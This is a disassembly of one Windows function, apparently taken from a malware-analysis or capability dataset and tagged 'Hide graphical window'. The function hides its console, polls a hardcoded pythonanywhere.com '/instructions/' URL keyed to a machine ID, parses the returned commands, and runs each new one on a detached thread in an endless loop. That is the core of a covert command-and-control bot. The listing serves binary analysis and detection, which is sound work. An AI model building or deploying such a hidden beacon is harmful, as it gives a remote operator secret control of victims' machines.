Function at 0x140005c26
Capabilities:
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0x1f8
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, str.up_and_running_n
mov rdx, rax
mov rax, qword [0x14013b870]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.get_id_abi:cxx11___
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400e6820
lea rax, [rbp + 0xaf]
mov rcx, rax
call fcn.140090480
lea rdx, [rbp + 0xaf]
lea rax, [rbp + 0x80]
mov r8, rdx
lea rdx, str._instructionSEP_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0x60]
mov r8, rdx
lea rdx, str.http:__0x3af72.pythonanywhere.com_instructions__u
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xb0]
lea rdx, [rbp + 0xd0]
mov rcx, rax
call sym.get_request_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rax, rbp
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0xb0]
mov r8, rcx
mov rcx, rax
call sym.split_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rax, rbp
mov qword [rbp + 0x168], rax
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xaf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x168]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x168]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov qword [rbp - 0x10], rax
jmp 0x140005f38
lea rax, [rbp - 8]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
test rax, rax
sete al
test al, al
je 0x140005db1
mov ebx, 0
jmp 0x140005f1d
lea rax, [rbp + 0x11f]
mov rcx, rax
call fcn.140090480
lea rdx, [rbp + 0x11f]
lea rax, [rbp + 0xf0]
mov r8, rdx
lea rdx, str._valSEP_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x30]
lea rcx, [rbp + 0xf0]
lea rdx, [rbp + 0x120]
mov r8, rcx
mov rcx, rax
call sym.split_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x11f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::unordered_set_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::hash_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::equal_to_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::end__
mov qword [rbp + 0x140], rax
lea rax, [rbp - 0x30]
mov edx, 0
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.operator___unsigned_long_long_
mov rdx, rax
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::unordered_set_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::hash_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::equal_to_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::find_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov qword [rbp + 0x148], rax
lea rdx, [rbp + 0x140]
lea rax, [rbp + 0x148]
mov rcx, rax
call method.std::__detail.operator__std::__detail::_Node_iterator_base_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____true__const__std::__detail::_Node_iterator_base_std::__cxx11::basic_string_char__std::char_traits_char___s
test al, al
je 0x140005e98
mov ebx, 0
jmp 0x140005f00
lea rax, [rbp - 0x30]
mov edx, 0
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.operator___unsigned_long_long_
mov rcx, rax
lea rax, [rbp + 0x150]
lea rdx, [rbp + 0x20]
mov r8, rcx
mov rcx, rax
call method.std::unordered_set_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::hash_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::equal_to_std::__cxx11::basic_string_char__std::cha
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x60]
lea rax, [rbp - 0x38]
mov r9, rcx
mov r8, rdx
lea rdx, [sym.perform_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________]
mov rcx, rax
call method.std::thread.thread_void____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char
lea rax, [rbp - 0x38]
mov rcx, rax
call method.std::thread.detach__
lea rax, [rbp - 0x38]
mov rcx, rax
call method.std::thread.thread__
mov ebx, 1
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
cmp ebx, 1
jne 0x140005f18
mov ebx, 1
jmp 0x140005f1d
mov ebx, 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
lea rax, [rbp - 8]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
lea rdx, [rbp - 0x10]
lea rax, [rbp - 8]
mov rcx, rax
call sym._ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EES
test al, al
jne 0x140005d76
mov rax, rbp
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140005c87